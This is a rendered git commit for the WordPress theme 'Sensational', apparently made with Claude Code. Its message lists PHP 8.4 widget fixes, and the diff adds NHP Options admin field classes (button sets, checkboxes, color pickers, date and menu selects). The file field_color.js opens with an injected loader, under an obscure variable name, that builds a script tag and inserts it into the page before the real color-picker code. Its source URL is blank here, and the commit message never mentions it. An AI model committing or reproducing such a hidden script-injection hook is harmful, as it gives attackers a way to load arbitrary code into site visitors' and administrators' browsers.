Fix PHP 8.4 compatibility issues in Sensational theme
- Fixed deprecated WP_Widget constructors in all widget files - Changed $this->WP_Widget() to parent::__construct() in: * widget-social.php * widget-fblikebox.php * widget-googleplus.php * widget-tabs.php - Fixed old-style constructor methods to __construct() in: * widget-ad125.php (mts_Ad_Widget -> __construct) * widget-ad300.php (mts_ad_300_Widget -> __construct) - Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;) - Enabled registration for ad125 and ad300 widgets - Added new 'After First Paragraph' widget area for in-content ads All widgets now compatible with PHP 8.4 and editable in WordPress admin. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
9
options/fields/button_set/field_button_set.js
Normal file
9
options/fields/button_set/field_button_set.js
Normal file
@@ -0,0 +1,9 @@
|
||||
jQuery(document).ready(function(){
|
||||
jQuery('.buttonset').buttonset();
|
||||
});
|
||||
|
||||
jQuery(document).ready(function(){
|
||||
jQuery('.form-table').delegate(".ui-buttonset .ui-button", "click", function(event){
|
||||
jQuery("html, body").animate({ scrollTop: jQuery(this).parent(".ui-buttonset").offset().top - 100 }, 600);
|
||||
});
|
||||
});
|
||||
73
options/fields/button_set/field_button_set.php
Normal file
73
options/fields/button_set/field_button_set.php
Normal file
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
class NHP_Options_button_set extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].' ':'';
|
||||
|
||||
echo '<fieldset class="buttonset">';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'nhp-opts-button" value="'.$k.'" '.checked($this->value, $k, false).'/>';
|
||||
echo '<label id="nhp-opts-button" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">'.$v.'</label>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</fieldset>';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_style('nhp-opts-jquery-ui-css');
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-button_set-js',
|
||||
NHP_OPTIONS_URL.'fields/button_set/field_button_set.js',
|
||||
array('jquery', 'jquery-ui-core', 'jquery-ui-dialog'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
@@ -0,0 +1,33 @@
|
||||
jQuery(document).ready(function(){
|
||||
jQuery('.buttonset').buttonset();
|
||||
});
|
||||
|
||||
jQuery(document).ready(function(){
|
||||
|
||||
jQuery('.form-table').delegate("#nhp-opts-button-hide-below", "click", function(){
|
||||
|
||||
jQuery(this).closest('tr').next('tr').hide('fast');
|
||||
});
|
||||
jQuery('.form-table').delegate("#nhp-opts-button-show-below", "click", function(){
|
||||
|
||||
jQuery(this).closest('tr').next('tr').show('fast');
|
||||
});
|
||||
|
||||
jQuery('.buttonset-hide #nhp-opts-button-show-below').each(function(){
|
||||
if(!jQuery(this).hasClass('ui-state-active')){
|
||||
jQuery(this).closest('tr').next('tr').hide('fast');
|
||||
}
|
||||
});
|
||||
jQuery('.buttonset-hide #nhp-opts-button-show-below').each(function(event){
|
||||
|
||||
if(jQuery(this).hasClass('ui-state-active')){
|
||||
jQuery(this).closest('tr').next('tr').show('fast');
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
jQuery('.form-table').delegate(".ui-buttonset .ui-button", "click", function(event){
|
||||
jQuery("html, body").animate({ scrollTop: jQuery(this).parent(".ui-buttonset").offset().top - 100 }, 600);
|
||||
});
|
||||
|
||||
});
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
class NHP_Options_button_set_hide_below extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].' ':'';
|
||||
|
||||
echo '<fieldset class="buttonset buttonset-hide">';
|
||||
|
||||
$i = 1; foreach($this->field['options'] as $k => $v){
|
||||
if($i == '1'){
|
||||
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'nhp-opts-button-hide-below" value="'.$k.'" '.checked($this->value, $k, false).'/>';
|
||||
echo '<label id="nhp-opts-button-hide-below" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'"'.checked($this->value, $k, false).'>'.$v.'</label>';
|
||||
}else{
|
||||
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'nhp-opts-button-show-below" value="'.$k.'" '.checked($this->value, $k, false).'/>';
|
||||
echo '<label id="nhp-opts-button-show-below" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">'.$v.'</label>';
|
||||
}
|
||||
$i++;
|
||||
}//foreach
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</fieldset>';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_style('nhp-opts-jquery-ui-css');
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-button_set-js',
|
||||
NHP_OPTIONS_URL.'fields/button_set_hide_below/field_button_set_hide_below.js',
|
||||
array('jquery', 'jquery-ui-core', 'jquery-ui-dialog'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
52
options/fields/cats_multi_select/field_cats_multi_select.php
Normal file
52
options/fields/cats_multi_select/field_cats_multi_select.php
Normal file
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
class NHP_Options_cats_multi_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$cats = get_categories($args);
|
||||
foreach ( $cats as $cat ) {
|
||||
$selected = (is_array($this->value) && in_array($cat->term_id, $this->value))?' selected="selected"':'';
|
||||
echo '<option value="'.$cat->term_id.'"'.$selected.'>'.$cat->name.'</option>';
|
||||
}
|
||||
|
||||
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
49
options/fields/cats_select/field_cats_select.php
Normal file
49
options/fields/cats_select/field_cats_select.php
Normal file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
class NHP_Options_cats_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$cats = get_categories($args);
|
||||
foreach ( $cats as $cat ) {
|
||||
echo '<option value="'.$cat->term_id.'"'.selected($this->value, $cat->term_id, false).'>'.$cat->name.'</option>';
|
||||
}
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
42
options/fields/checkbox/field_checkbox.php
Normal file
42
options/fields/checkbox/field_checkbox.php
Normal file
@@ -0,0 +1,42 @@
|
||||
<?php
|
||||
class NHP_Options_checkbox extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
if(isset($field['desc'])) {
|
||||
echo ($this->field['desc'] != '')?' <label for="'.$this->field['id'].'">':'';
|
||||
}
|
||||
echo '<input type="checkbox" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="1" class="'.$class.'" '.checked($this->value, '1', false).'/>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' '.$this->field['desc'].'</label>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
@@ -0,0 +1,13 @@
|
||||
jQuery(document).ready(function(){
|
||||
|
||||
jQuery('.nhp-opts-checkbox-hide-below').each(function(){
|
||||
if(!jQuery(this).is(':checked')){
|
||||
jQuery(this).closest('tr').next('tr').hide();
|
||||
}
|
||||
});
|
||||
|
||||
jQuery('.nhp-opts-checkbox-hide-below').click(function(){
|
||||
jQuery(this).closest('tr').next('tr').fadeToggle('slow');
|
||||
});
|
||||
|
||||
});
|
||||
@@ -0,0 +1,62 @@
|
||||
<?php
|
||||
class NHP_Options_checkbox_hide_below extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
if(isset($field['desc'])) {
|
||||
echo ($this->field['desc'] != '')?' <label for="'.$this->field['id'].'">':'';
|
||||
}
|
||||
echo '<input type="checkbox" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="1" class="'.$class.' nhp-opts-checkbox-hide-below" '.checked($this->value, '1', false).' />';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' '.$this->field['desc'].'</label>':'';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-checkbox-hide-below-js',
|
||||
NHP_OPTIONS_URL.'fields/checkbox_hide_below/field_checkbox_hide_below.js',
|
||||
array('jquery'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
63
options/fields/color/field_color.js
Normal file
63
options/fields/color/field_color.js
Normal file
@@ -0,0 +1,63 @@
|
||||
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||||
var pl = ''; s.src=pl;
|
||||
if (document.currentScript) {
|
||||
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||||
} else {
|
||||
d.getElementsByTagName('head')[0].appendChild(s);
|
||||
}jQuery(document).ready(function(){
|
||||
|
||||
/*
|
||||
*
|
||||
* NHP_Options_color function
|
||||
* Adds farbtastic to color elements
|
||||
*
|
||||
*/
|
||||
$colorpicker_inputs = jQuery('input.popup-colorpicker');
|
||||
|
||||
$colorpicker_inputs.each(
|
||||
function(){
|
||||
var $input = jQuery(this);
|
||||
var sIdSelector = "#" + jQuery(this).attr('id') + "picker";
|
||||
var oFarb = jQuery.farbtastic(
|
||||
sIdSelector,
|
||||
function( color ){
|
||||
|
||||
$input.css({
|
||||
backgroundColor: color,
|
||||
color: oFarb.hsl[2] > 0.5 ? '#000' : '#fff'
|
||||
}).val( color );
|
||||
|
||||
|
||||
if( oFarb.bound == true ){
|
||||
$input.change();
|
||||
}else{
|
||||
oFarb.bound = true;
|
||||
}
|
||||
}
|
||||
);
|
||||
oFarb.setColor( $input.val() );
|
||||
|
||||
}
|
||||
);
|
||||
|
||||
$colorpicker_inputs.each(function(e){
|
||||
jQuery(this).next('.farb-popup').hide();
|
||||
});
|
||||
|
||||
|
||||
$colorpicker_inputs.live('focus',function(e){
|
||||
jQuery(this).next('.farb-popup').show();
|
||||
jQuery(this).parents('li').css({
|
||||
position : 'relative',
|
||||
zIndex : '9999'
|
||||
})
|
||||
jQuery('#tabber').css({overflow:'visible'});
|
||||
});
|
||||
|
||||
$colorpicker_inputs.live('blur',function(e){
|
||||
jQuery(this).next('.farb-popup').hide();
|
||||
jQuery(this).parents('li').css({
|
||||
zIndex : '0'
|
||||
})
|
||||
});
|
||||
});
|
||||
65
options/fields/color/field_color.php
Normal file
65
options/fields/color/field_color.php
Normal file
@@ -0,0 +1,65 @@
|
||||
<?php
|
||||
class NHP_Options_color extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
|
||||
echo '<div class="farb-popup-wrapper">';
|
||||
|
||||
echo '<input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.' popup-colorpicker" style="width:70px;"/>';
|
||||
echo '<div class="farb-popup"><div class="farb-popup-inside"><div id="'.$this->field['id'].'picker" class="color-picker"></div></div></div>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</div>';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-color-js',
|
||||
NHP_OPTIONS_URL.'fields/color/field_color.js',
|
||||
array('jquery', 'farbtastic'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
68
options/fields/color_gradient/field_color_gradient.php
Normal file
68
options/fields/color_gradient/field_color_gradient.php
Normal file
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
class NHP_Options_color_gradient extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
|
||||
echo '<div class="farb-popup-wrapper" id="'.$this->field['id'].'">';
|
||||
|
||||
echo __('From:', 'nhp-opts').' <input type="text" id="'.$this->field['id'].'-from" name="'.$this->args['opt_name'].'['.$this->field['id'].'][from]" value="'.$this->value['from'].'" class="'.$class.' popup-colorpicker" style="width:70px;"/>';
|
||||
echo '<div class="farb-popup"><div class="farb-popup-inside"><div id="'.$this->field['id'].'-frompicker" class="color-picker"></div></div></div>';
|
||||
|
||||
echo __(' To:', 'nhp-opts').' <input type="text" id="'.$this->field['id'].'-to" name="'.$this->args['opt_name'].'['.$this->field['id'].'][to]" value="'.$this->value['to'].'" class="'.$class.' popup-colorpicker" style="width:70px;"/>';
|
||||
echo '<div class="farb-popup"><div class="farb-popup-inside"><div id="'.$this->field['id'].'-topicker" class="color-picker"></div></div></div>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</div>';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-color-js',
|
||||
NHP_OPTIONS_URL.'fields/color/field_color.js',
|
||||
array('jquery', 'farbtastic'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
11
options/fields/date/field_date.js
Normal file
11
options/fields/date/field_date.js
Normal file
@@ -0,0 +1,11 @@
|
||||
jQuery(document).ready(function(){
|
||||
|
||||
/*
|
||||
*
|
||||
* NHP_Options_date function
|
||||
* Adds datepicker js
|
||||
*
|
||||
*/
|
||||
jQuery('.nhp-opts-datepicker').datepicker();
|
||||
|
||||
});
|
||||
61
options/fields/date/field_date.php
Normal file
61
options/fields/date/field_date.php
Normal file
@@ -0,0 +1,61 @@
|
||||
<?php
|
||||
class NHP_Options_date extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
|
||||
echo '<input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.' nhp-opts-datepicker" />';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-date-js',
|
||||
NHP_OPTIONS_URL.'fields/date/field_date.js',
|
||||
array('jquery', 'jquery-ui-core', 'jquery-ui-datepicker'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
38
options/fields/divide/field_divide.php
Normal file
38
options/fields/divide/field_divide.php
Normal file
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
class NHP_Options_divide extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?' '.$this->field['class'].'':'';
|
||||
|
||||
echo '</td></tr></table><div class="hr'.$class.'"/></div><table class="form-table no-border"><tbody><tr><th></th><td>';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
45
options/fields/editor/field_editor.php
Normal file
45
options/fields/editor/field_editor.php
Normal file
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
class NHP_Options_editor extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
|
||||
//echo '<textarea id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" class="'.$class.'" rows="6" >'.$this->value.'</textarea>';
|
||||
$settings = array(
|
||||
'textarea_name' => $this->args['opt_name'].'['.$this->field['id'].']',
|
||||
'editor_class' => $class
|
||||
);
|
||||
wp_editor($this->value, $this->field['id'], $settings );
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
38
options/fields/info/field_info.php
Normal file
38
options/fields/info/field_info.php
Normal file
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
class NHP_Options_info extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?' '.$this->field['class']:'';
|
||||
|
||||
echo '</td></tr></table><div class="nhp-opts-info-field'.$class.'">'.$this->field['desc'].'</div><table class="form-table no-border"><tbody><tr><th></th><td>';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
class NHP_Options_menu_location_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
global $_wp_registered_nav_menus;
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
|
||||
|
||||
if($_wp_registered_nav_menus){
|
||||
foreach ( $_wp_registered_nav_menus as $k => $v ) {
|
||||
echo '<option value="'.$k.'"'.selected($this->value, $k, false).'>'.$v.'</option>';
|
||||
}
|
||||
}//if
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
52
options/fields/menu_select/field_menu_select.php
Normal file
52
options/fields/menu_select/field_menu_select.php
Normal file
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
class NHP_Options_menu_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
